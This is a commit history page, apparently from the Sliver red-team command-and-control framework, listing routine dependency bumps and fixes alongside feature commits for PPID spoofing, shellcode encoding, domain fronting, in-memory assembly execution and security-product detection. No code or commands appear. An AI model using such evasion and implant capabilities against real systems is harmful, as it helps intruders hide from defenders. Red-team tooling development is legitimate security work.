Compare commits

..
981 Commits
Author SHA1 Message Date
moloch-- 891bb49f1a Make TAGS overridable in Makefile 2022-09-06 12:39:12 -07:00
moloch-- 82d1728360 Updated gorm and db drivers 2022-09-06 12:36:02 -07:00
moloch-- 01b6a3c657 Updated gorm and db drivers 2022-09-06 12:35:49 -07:00
Ronan Kervella 312f133f1e Merge pull request #847 from BishopFox/go/v1.18.6
Go v1.18.6
2022-09-06 11:02:47 -07:00
Ronan Kervella a141e1f689 Merge pull request #848 from BishopFox/fix/execute-assembly-ppid
Fix `execute-assembly`, add PPID and arg spoofing to `sideload`
2022-09-06 11:02:36 -07:00
Joe a9a16aaa39 Merge pull request #842 from BishopFox/bf79dependabot/go_modules/github.com/alecthomas/chroma-0.10.0
Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
2022-09-06 13:02:21 -05:00
Joe 2c944db7ed Merge pull request #841 from BishopFox/2447dependabot/github_actions/actions/download-artifact-3
Bump actions/download-artifact from 2 to 3
2022-09-06 13:01:50 -05:00
Joe b93f939ec5 Merge pull request #840 from BishopFox/ce34dependabot/github_actions/actions/upload-artifact-3
Bump actions/upload-artifact from 2 to 3
2022-09-06 13:01:34 -05:00
Joe ba07826d83 Merge pull request #839 from BishopFox/2451dependabot/github_actions/github/codeql-action-2
Bump github/codeql-action from 1 to 2
2022-09-06 13:01:19 -05:00
Joe 09fb3e0095 Merge pull request #838 from BishopFox/3694dependabot/github_actions/actions/setup-go-3
Bump actions/setup-go from 2 to 3
2022-09-06 13:01:03 -05:00
Joe be9c34e1ef Merge pull request #837 from BishopFox/a8fedependabot/github_actions/actions/checkout-3
Bump actions/checkout from 2 to 3
2022-09-06 13:00:47 -05:00
Joe d5945898b3 Merge pull request #844 from BishopFox/8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Bump github.com/miekg/dns from 1.1.35 to 1.1.50
2022-09-06 13:00:24 -05:00
rkervella 7d8457d494 Use proper type for PPID flag, add ppid + process args to sideload 2022-09-06 10:20:01 -07:00
dependabot[bot] 330ceea52f Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
Bumps [github.com/alecthomas/chroma](https://github.com/alecthomas/chroma) from 0.8.1 to 0.10.0.
- [Release notes](https://github.com/alecthomas/chroma/releases)
- [Changelog](https://github.com/alecthomas/chroma/blob/master/.goreleaser.yml)
- [Commits](https://github.com/alecthomas/chroma/compare/v0.8.1...v0.10.0)

---
updated-dependencies:
- dependency-name: github.com/alecthomas/chroma
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 17:00:31 +00:00
Joe afe4fb04a3 Merge branch 'master' into 8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Signed-off-by: Joe <[email protected]>
2022-09-06 11:59:31 -05:00
Joe e89a04f747 Merge pull request #846 from BishopFox/0121dependabot/go_modules/github.com/fatih/color-1.13.0
Bump github.com/fatih/color from 1.12.0 to 1.13.0
2022-09-06 11:58:59 -05:00
moloch-- e8aae22d50 Go v1.18.6 2022-09-06 09:58:23 -07:00
dependabot[bot] 003f882be5 Bump github.com/fatih/color from 1.12.0 to 1.13.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:25:02 +00:00
dependabot[bot] bb2a56d469 Bump github.com/miekg/dns from 1.1.35 to 1.1.50
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.35 to 1.1.50.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.35...v1.1.50)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:49 +00:00
dependabot[bot] bb36fb6850 Bump actions/download-artifact from 2 to 3
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:04 +00:00
dependabot[bot] dd31ae253c Bump actions/upload-artifact from 2 to 3
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:02 +00:00
dependabot[bot] 307b1998a1 Bump github/codeql-action from 1 to 2
Bumps [github/codeql-action](https://github.com/github/codeql-action) from 1 to 2.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/v1...v2)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:58 +00:00
dependabot[bot] 381e131438 Bump actions/setup-go from 2 to 3
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 2 to 3.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:55 +00:00
dependabot[bot] c9898b9854 Bump actions/checkout from 2 to 3
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:52 +00:00
Ronan Kervella 9dd5dd9c93 Merge pull request #835 from BishopFox/dependabot
Enable dependabot workflow
2022-09-06 08:23:28 -07:00
Joe 01f2d0c9de Merge pull request #836 from cmprmsd/patch-1
Add carbon black cloud sensor
2022-09-06 09:38:22 -05:00
cmprmsd fd1b873f75 Add carbon black cloud sensor
This adds known Carbon Black processes

Signed-off-by: cmprmsd <[email protected]>
2022-09-06 12:16:09 +02:00
moloch-- bb51a9f1a6 Enable dependabot workflow 2022-09-05 11:12:57 -07:00
Ronan Kervella f1d4a51e73 Merge pull request #831 from BishopFox/fix/ux-828
Fix issue #828
2022-09-04 12:56:41 -07:00
Ronan Kervella d003f5a4ac Merge pull request #832 from BishopFox/feature/tasks-cancel
Feature/tasks cancel
2022-09-04 12:56:19 -07:00
moloch-- 36277b9d46 Fix ui workflow 2022-09-04 10:48:51 -07:00
moloch-- c90988aba5 Added state display for canceled 2022-09-04 10:42:16 -07:00
moloch-- a6dca18cdc Initial task cancel implementation 2022-09-04 10:38:26 -07:00
moloch-- dd48b4b71d Fix issue #828 2022-09-04 09:23:49 -07:00
Ronan Kervella 91e6ea5e05 Merge pull request #829 from BishopFox/fix/stale-sessions-prune
Remove session from server state on kill, fix issue #781
2022-09-03 19:05:39 -07:00
Ronan Kervella 3a8201c202 Merge pull request #830 from BishopFox/cdp
Implemented cursed screenshot and better porfwd tunnel cleanup handling
2022-09-03 19:05:17 -07:00
moloch-- 0c5f8a123b Implemented cursed screenshot and better porfwd tunnel cleanup handling 2022-09-03 16:07:35 -07:00
moloch-- 2ea605e915 Remove session from server state on kill, fix issue #781 2022-09-03 15:38:24 -07:00
Ronan Kervella 583edd7a2f Merge pull request #827 from BishopFox/fix/portfwd-815
Fix/portfwd 815
2022-09-03 14:06:34 -07:00
Ronan Kervella e03381994c Merge pull request #826 from BishopFox/cdp
Cursed Edge Support
2022-09-02 17:45:50 -07:00
moloch-- 536ac4dd0f fix issue #815 2022-09-02 16:52:56 -07:00
moloch-- 651941844a removed unused flags 2022-09-02 16:03:52 -07:00
moloch-- 88a5b3a01c cursed support for edge and chromium 2022-09-02 16:03:27 -07:00
Joe 4c67157f48 Merge pull request #825 from BishopFox/stage
Prevent shellcode generation for other platforms than Windows.
2022-09-02 12:28:10 -05:00
rkervella d02c421e9e Prevent shellcode generation for other platforms than Windows. 2022-09-02 09:35:12 -07:00
Ronan Kervella 157b84ee5b Merge pull request #821 from jamesgol/screenshot
Only log screenshot error if there is one
2022-09-01 16:11:18 -07:00
James Golovich b5f25e14ae Only log error if there is one 2022-09-01 15:11:18 -07:00
Joe 4c9f701e0f Merge pull request #820 from BishopFox/cdp
Cursed updates
2022-09-01 15:02:34 -05:00
Ronan Kervella 336068cdf3 Merge pull request #819 from jamesgol/reaction_file
Include reaction file path in output
2022-09-01 12:48:21 -07:00
rkervella 2b9b4eb5f3 Kill cursed process on removal 2022-09-01 11:42:09 -07:00
rkervella e13faf9682 Actually terminate processes :) 2022-09-01 11:33:05 -07:00
James Golovich 044688ace4 Include reaction file path in output 2022-09-01 09:21:22 -07:00
Ronan Kervella 7e633962ce Merge pull request #818 from BishopFox/cdp
Cursed
2022-09-01 08:26:41 -07:00
moloch-- 7911450862 fixes for windows 2022-08-31 22:56:27 -07:00
moloch-- 519ef88866 ux improvements 2022-08-31 22:36:13 -07:00
moloch-- 823e22e120 ux improvements 2022-08-31 22:28:59 -07:00
moloch-- 94d672619b Initial console implementation 2022-08-31 22:02:39 -07:00
moloch-- 29f5a17339 Fixes to electron cmd 2022-08-31 20:35:40 -07:00
moloch-- d71c45223f Implemented electron cmd 2022-08-31 20:21:36 -07:00
moloch-- 2578513ae3 Outlined electron cmd 2022-08-31 19:43:41 -07:00
moloch-- 552a824e1b Refactor and improved state mgmt 2022-08-31 18:43:51 -07:00
moloch-- 5a352de056 Improved state mgmt 2022-08-31 17:43:56 -07:00
moloch-- 33e5525136 Refactor implemented call to ExecuteJS 2022-08-31 16:48:40 -07:00
moloch-- 756bb7749e Merge branch 'master' into cdp 2022-08-31 14:09:52 -07:00
moloch-- 6233d2fbe7 Merge branch 'master' into cdp 2022-08-31 14:09:16 -07:00
Ronan Kervella 729449b653 Merge pull request #814 from BishopFox/fix/db-by-foo
Fix issue #813
2022-08-31 08:33:01 -07:00
moloch-- f1030ebaa4 Added additional checks for uuid.Nil 2022-08-31 07:08:47 -07:00
Joe 7a962ae120 Merge pull request #812 from jamesgol/unknown_dialect
Panic if someone specifies an invalid DB Dialect
2022-08-31 08:57:17 -05:00
moloch-- 39da957b7c Fix issue #813 2022-08-31 06:56:41 -07:00
moloch-- c230ce0b2e Consolidating state into core.CursedProcess 2022-08-31 06:51:15 -07:00
James Golovich 8b44024672 Panic if someone specifies an invalid DB Dialect 2022-08-30 21:35:35 -07:00
moloch-- f8b17891d1 Implemented some of the initial primatives 2022-08-30 17:35:25 -07:00
Joe 4ffb75fa15 Merge pull request #809 from jamesgol/multi-persist
Ensure persistent multiplayer consoles startup
2022-08-30 11:46:50 -05:00
Ronan Kervella f9bc1a7bd3 Merge pull request #810 from BishopFox/moloch---patch-1
Update CODEOWNERS
2022-08-30 09:45:40 -07:00
moloch-- 867ac37f1f Fix issue #811 2022-08-30 07:43:22 -07:00
moloch-- 04a7148ab7 Initial refactor 2022-08-30 07:05:25 -07:00
moloch-- 010025645b Initial refactor 2022-08-30 07:05:03 -07:00
Joe 7a22ed901a Update CODEOWNERS 2022-08-30 08:47:51 -05:00
James Golovich a29135770f Ensure persistent multiplayer consoles startup 2022-08-29 19:36:00 -07:00
moloch-- 8de0eaff13 initial import of some of the overlord code 2022-08-29 16:46:26 -07:00
Joe abde731c35 Merge pull request #808 from BishopFox/fix/registry-type
fix RegistryType off-by-one
2022-08-29 13:52:21 -05:00
Leron Gray 1f7bc9b227 fix RegistryType off-by-one 2022-08-29 11:08:00 -07:00
Ronan Kervella 8617ac9c47 Merge pull request #807 from BishopFox/fix/registry-type
add RegistryType to protobuf
2022-08-29 08:23:38 -07:00
Leron Gray 8aa8095010 add RegistryType to protobuf 2022-08-29 00:55:31 -07:00
Ronan Kervella b621107965 Merge pull request #804 from BishopFox/stage
Add warning for argument overflow
2022-08-26 13:27:14 -07:00
rkervella 04f0d38bd2 Add warning for argument overflow 2022-08-26 12:14:05 -07:00
Ronan Kervella 8ef7f465a4 Merge pull request #803 from BishopFox/in-proc-execute-assembly
In process `execute-assembly`
2022-08-26 11:54:42 -07:00
rkervella 102ee0b533 Merge branch 'master' into in-proc-execute-assembly 2022-08-26 11:06:13 -07:00
rkervella c3cb978ee6 Add debug log 2022-08-26 11:03:26 -07:00
Ronan Kervella 18ddfd2943 Merge pull request #802 from BishopFox/feature/ppid-spoofing
Fix grumble flag (Uint instead of Int)
2022-08-26 11:02:56 -07:00
rkervella 3b3a335c41 Working in-mem execute-assembly 2022-08-26 10:50:59 -07:00
rkervella b64f00a66e Fix grumble flag (Uint instead of Int) 2022-08-26 09:09:51 -07:00
rkervella 6a44f6b435 WIP, doesn't work 2022-08-26 08:26:55 -07:00
rkervella e4db654d62 Add in-proc flag in RPC call 2022-08-25 14:31:47 -07:00
rkervella 1a1924273b Fix undefined vars 2022-08-25 14:31:33 -07:00
Joe c20acb9657 Merge pull request #800 from jamesgol/postgres2
Get sliver working with PostgreSQL
2022-08-25 16:26:24 -05:00
rkervella 3d89716007 Fix implant vendor 2022-08-25 14:24:28 -07:00
rkervella 3351ab0fee Fix implant vendor 2022-08-25 14:24:16 -07:00
rkervella 4c062445ad Add back vendor 2022-08-25 14:16:34 -07:00
rkervella bdb6393842 Add alias support 2022-08-25 14:11:15 -07:00
rkervella 20a4043d7c Add client-side support 2022-08-25 14:09:36 -07:00
rkervella 79d720d477 Add RPC support for in-proc execute-assembly 2022-08-25 14:03:51 -07:00
rkervella 2ec234fd8c update vendor 2022-08-25 13:49:48 -07:00
rkervella 3ab978e754 Update script to work on macos 2022-08-25 13:49:33 -07:00
rkervella 0644a82a2c Add implant support for in-proc execute-assembly 2022-08-25 13:49:10 -07:00
James Golovich d6c41f1713 Reorder models so the dependencies are defined before they are used. 2022-08-25 12:57:05 -07:00
James Golovich 660af1fe60 Setup DSN properly for PostgreSQL 2022-08-25 12:56:32 -07:00
Joe 79f2d48fcd Merge pull request #797 from BishopFox/fix/extensions
Fix race condition in extensions
2022-08-24 15:43:07 -05:00
Joe 166c494894 Merge pull request #796 from BishopFox/sgn
Shikata Ga Nai
2022-08-24 15:04:42 -05:00
rkervella 01121922e9 Add mutex to extension structures 2022-08-24 13:01:15 -07:00
rkervella c1a9702760 Merge branch 'master' into fix/extensions 2022-08-24 12:37:56 -07:00
moloch-- 1be70b3053 Improved standalone cmd help 2022-08-24 11:24:11 -07:00
moloch-- f0405a3beb Integrated sgn with generate shellcode 2022-08-24 11:13:57 -07:00
moloch-- 68e9dcc61c Inegrated sgn into execute-shellcode 2022-08-24 10:56:35 -07:00
moloch-- f75d791d20 Fix input file and rcp func name 2022-08-24 09:44:55 -07:00
moloch-- 223500ed83 Initial integration of sgn 2022-08-24 09:05:01 -07:00
Joe e72cc7dcef Merge pull request #795 from BishopFox/feature/ppid-spoofing
Add PPID spoofing + custom process arguments for fork/exec commands
2022-08-23 14:39:56 -05:00
rkervella 709065a067 Cast to proper message 2022-08-23 11:41:05 -07:00
rkervella 99c23dc226 Only use token when specified 2022-08-23 11:18:43 -07:00
rkervella 8a278ce532 Add PPID spoofing + custom process arguments for fork/exec commands 2022-08-23 11:12:36 -07:00
Ronan Kervella 29755d7109 Merge pull request #792 from MrAle98/fix/namedpipe-pivots
Fix/namedpipe pivots
2022-08-22 08:25:35 -07:00
MrAle98 1d885c6083 fix 2022-08-19 22:49:04 +02:00
MrAle98 f85d0d64d8 fix 2022-08-19 22:49:03 +02:00
MrAle98 28e52e42b4 re-added debug option 2022-08-19 22:49:02 +02:00
MrAle98 8bfba5cb50 added delivery in chunks 2022-08-19 22:49:01 +02:00
Joe 6bb49e444b Merge pull request #787 from BishopFox/feature/stage-encryption
Fix stage encryption and add zlib compression option
2022-08-16 19:59:31 -05:00
moloch-- 205737f768 No compression by default 2022-08-16 17:21:33 -07:00
moloch-- f19c43f07b Added deflate9 compression option 2022-08-16 17:14:10 -07:00
moloch-- 81b8002ac0 Compress prior to encryption 2022-08-16 17:07:55 -07:00
moloch-- c5853a35fc Call the compression function 2022-08-16 17:06:40 -07:00
moloch-- 98f55c8432 Make compression configurable 2022-08-16 17:06:00 -07:00
rkervella 34f60a7b1a Fix stage encryption and add zlib compression option 2022-08-16 15:22:53 -07:00
Joe 9987f377a2 Merge pull request #786 from BishopFox/fix/profiles-beacon-name
Add missing `--name` flag for beacon profiles
2022-08-12 18:29:58 -05:00
rkervella 9852f03ebb Add missing --name flag for beacon profiles 2022-08-11 09:41:26 -07:00
Ronan Kervella ce95f86f38 Merge pull request #784 from BishopFox/fix/donwload
Fix `donwload` for folders in beacon mode
2022-08-10 14:06:47 -07:00
rkervella ae61aa032e Fix download command for folders in beacon mode 2022-08-10 11:34:44 -07:00
Ronan Kervella cec867426f Merge pull request #782 from BishopFox/go/v1.18.5
go version 1.18.5
2022-08-10 08:08:28 -07:00
moloch-- 8479252975 force go version in workflows 2022-08-09 12:04:50 -07:00
moloch-- 4bfb38e52d go version 1.18.5 2022-08-09 11:58:12 -07:00
moloch-- aba4a140c3 add codeowners 2022-08-08 08:31:22 -07:00
Joe df4245c69b Merge pull request #776 from tothi/master
add recognition of SentinelOne security product to the ps cmd
2022-08-01 10:19:45 -05:00
TÓTH István 44578c32ed add recognition of SentinelOne security product to the ps cmd 2022-08-01 13:04:07 +02:00
Joe 07a53b8c75 Merge pull request #773 from tothi/master
windows sideload fix
2022-07-31 22:25:36 -05:00
TÓTH István e08f420606 fix longhelp for sideload 2022-07-31 20:41:10 +02:00
TÓTH István b19cfba921 regenerated protobuf files after adding a new option to sideload cmd 2022-07-31 20:37:27 +02:00
TÓTH István 3b821d19bd add unicode DLL argument passing option for sideload Donut generator 2022-07-31 14:48:29 +02:00
TÓTH István 4e8e254c0e fix DonutShellCodeFromPE call for Windows by passing through EntryPoint parameter 2022-07-31 14:21:07 +02:00
moloch-- d1cf55805a fix spelling mistake 2022-07-29 21:01:21 -07:00
Ronan Kervella 7d07f4c518 Merge pull request #770 from rwhitcroft/feature/psexec-custom-exe
allow custom executables with psexec
2022-07-29 11:08:44 -07:00
Rich Whitcroft 5d3cb883d9 allow custom executables with psexec 2022-07-28 21:41:52 -04:00
Ronan Kervella 29f816ef7e Merge pull request #767 from BishopFox/fix/sideload
Use session agnostic info in Donut call
2022-07-28 08:50:26 -07:00
moloch-- 3ec4c5129c Add example connection string to prelude connect 2022-07-27 15:12:42 -07:00
rkervella 2840e6ed9a Use session agnostic info in Donut call 2022-07-27 14:39:01 -07:00
moloch-- fee6ee8f2d Avoid closing nil tunnel readers #749 2022-07-25 19:36:14 -07:00
moloch-- a1d3cbd0da Add instructions to shell cmd 2022-07-25 19:31:41 -07:00
Joe 4a17490592 Merge pull request #762 from BishopFox/offline-builds
Offline builds
2022-07-25 21:08:07 -05:00
moloch-- e1d7208164 Default to GOPROXY=off 2022-07-25 16:40:05 -07:00
moloch-- 7476a3dbc5 Merge branch 'capnspacehook-easier-offline-implant-builds' into offline-builds 2022-07-25 16:36:20 -07:00
Andrew LeFevre 09a97fbbf4 force implant building tests to run offline, document the need to keep the implant vendor dir updated 2022-07-23 17:27:55 -04:00
Andrew LeFevre 8c8dd280fb create vendor dir for implants and script to update it 2022-07-23 15:31:14 -04:00
Ronan Kervella d94c596a1e Merge pull request #760 from BishopFox/fix/loot-nil-deref
Check for nil pointer before using loot.File
2022-07-22 11:51:17 -07:00
rkervella 57fe465f10 Check for nil pointer before using loot.File 2022-07-22 11:01:10 -07:00
Joe f2da77100f Merge pull request #757 from BishopFox/dependabot/bundler/docs/tzinfo-1.2.10
Bump tzinfo from 1.2.9 to 1.2.10 in /docs
2022-07-22 08:05:21 -05:00
dependabot[bot] 7b5ff4790d Bump tzinfo from 1.2.9 to 1.2.10 in /docs
Bumps [tzinfo](https://github.com/tzinfo/tzinfo) from 1.2.9 to 1.2.10.
- [Release notes](https://github.com/tzinfo/tzinfo/releases)
- [Changelog](https://github.com/tzinfo/tzinfo/blob/master/CHANGES.md)
- [Commits](https://github.com/tzinfo/tzinfo/compare/v1.2.9...v1.2.10)

---
updated-dependencies:
- dependency-name: tzinfo
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-07-22 09:13:08 +00:00
Joe 5292f43cd2 Merge pull request #752 from timwr/fix_751
fix #751, fix ps arch on x86 windows
2022-07-19 14:16:44 -05:00
timwr c4420424af fix #751, fix ps arch on x86 windows 2022-07-19 14:37:33 +07:00
moloch-- b0d6a9ba95 Fix build constraints for windows/arm 2022-07-18 20:06:10 -07:00
Joe c46e193153 Merge pull request #745 from timwr/add_ps_arch
fix #714, Add process Architecture to the ps command
2022-07-18 20:52:00 -05:00
Ronan Kervella 71dff0ff64 Merge pull request #748 from BishopFox/fix/missing-profile-flag
Add missing `name` flag to profiles command
2022-07-18 13:20:47 -07:00
rkervella e1b1132667 Add missing name flag to profiles command 2022-07-18 12:16:58 -07:00
timwr ac262a3620 fix #714, Add process Architecture to the ps command 2022-07-19 00:08:49 +07:00
moloch-- e6277fb55f skip nil tunnel readers 2022-07-17 19:16:16 -07:00
Ronan Kervella f7e8e65126 Merge pull request #744 from BishopFox/feature/vim-mode
Make vim mode configurable via client settings
2022-07-15 13:33:53 -07:00
rkervella afe6c88f83 Make vim mode configurable via client settings 2022-07-15 12:18:07 -07:00
Joe 361a4e5112 Merge pull request #743 from BishopFox/go/v1.18.4
Update to Go v1.18.4 and bump grumble
2022-07-15 12:24:30 -05:00
moloch-- 4e7093671c Update to Go v1.18.4 and bump grumble 2022-07-15 09:44:52 -07:00
Joe 68b129acaa Merge pull request #740 from BishopFox/fix/shell-stderr
Support multiple `io.ReadCloser` in `transports.Tunnel`
2022-07-10 21:48:14 -05:00
rkervella e9d0f23152 Use a ReadCloser slice in transports.Tunnel 2022-07-10 11:00:38 -07:00
Joe 1099a4acb7 Merge pull request #739 from BishopFox/fix/implant-name
Fix regression from #737
2022-07-10 10:48:16 -07:00
rkervella a51c318807 Fix regression from #737 2022-07-10 09:40:09 -07:00
rkervella e7284b5880 Handle stderr for shell command 2022-07-10 09:33:42 -07:00
rkervella 0b9cf0f105 Remove raw data print 2022-07-10 09:26:43 -07:00
rkervella 8350b441ca Remove raw dump of session data 2022-07-10 09:22:04 -07:00
rkervella f5646d9975 Fix flag parsing for implant name 2022-07-10 09:15:49 -07:00
Joe ad312b517a Merge pull request #737 from Marshall-Hallenbeck/master
Allow additional characters in implant, session, and beacon names
2022-07-09 20:31:39 -07:00
Marshall Hallenbeck 253197f21a Allow for _-. characters in session & beacon names; closes #738 2022-07-09 21:24:42 -04:00
Marshall Hallenbeck 31e0ad2967 use actual util AllowedName function in server side check for #735 2022-07-09 21:06:32 -04:00
Marshall Hallenbeck f83007fe19 Allow additional characters in implant names; closes #735 2022-07-09 20:46:02 -04:00
Joe e3e5016ed0 Merge pull request #734 from BishopFox/fix/named-pipe-perms
Fix/named pipe perms
2022-07-07 18:31:52 -07:00
rkervella fb4e05617c Merge branch 'master' into fix/named-pipe-perms 2022-07-07 17:07:22 -07:00
rkervella 5a781500ee Fix [SMB Named Pipe] ACL is too restrictive on pivot named pipe #732 2022-07-07 17:05:34 -07:00
Joe fbef52a72d Merge pull request #731 from RafBishopFox/master
Adding Filtering to the Download Command
2022-07-07 15:25:49 -05:00
RafBishopFox a018ba6a11 client/download: use filepath.Base to prevent directory traversal 2022-07-07 11:18:43 -04:00
RafBishopFox fb38c6e4bb download command: Closing files after adding them to the archive 2022-07-07 10:44:15 -04:00
RafBishopFox c989e2970d Fixing protobuf for backwards compatibility 2022-07-07 10:29:33 -04:00
RafBishopFox d935bfb8b3 Adding filtering to the download command 2022-07-07 09:17:46 -04:00
Joe 814670dc6d Merge pull request #727 from RafBishopFox/master
Moving filtering functionality of ls to the implant
2022-06-23 16:23:48 -05:00
Raf 140c47e163 Merge branch 'BishopFox:master' into master 2022-06-23 12:50:53 -04:00
RafBishopFox e28b062e6c Moving ls filtering fuctionality to the implant, add item count and total size to ls output, resolve symlinks in ls output 2022-06-23 09:57:23 -04:00
moloch-- be7b723c8a Spelling fix 2022-06-21 08:24:22 -07:00
Joe 6be3ff8db2 Merge pull request #725 from BishopFox/fix/tun-handlers-errors
Add error reporting on failure for certain tunnel handlers.
2022-06-21 09:05:17 -05:00
rkervella 20520755b2 Add client side error handling 2022-06-20 20:22:43 -07:00
rkervella 0f7b6c0f35 Report errors on failure for shell and portfwd 2022-06-20 19:57:50 -07:00
Joe 0c7c2e0291 Merge pull request #724 from BishopFox/fix/alias-install-path
Fix alias installation directory for manual installs
2022-06-20 18:45:02 -05:00
rkervella 709a5fa453 Use CommandName as base directory 2022-06-20 15:23:17 -07:00
Joe 5e4ec91914 Merge pull request #722 from BishopFox/fix/execute-assembly
Fix argument parsing in execute-assembly to remove trailing spaces
2022-06-20 13:09:07 -05:00
rkervella a19ec2b348 Fix argument parsing in execute-assembly to remove trailing spaces 2022-06-20 10:24:50 -07:00
rkervella d55c20d7a2 Compare command names instead of extension name 2022-06-17 14:59:57 -07:00
Joe 9118f7423f Merge pull request #716 from BishopFox/fix/netstack-regression
Fix regression: add back IP forwarding for wireguard tunnels.
2022-06-15 09:59:09 -05:00
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
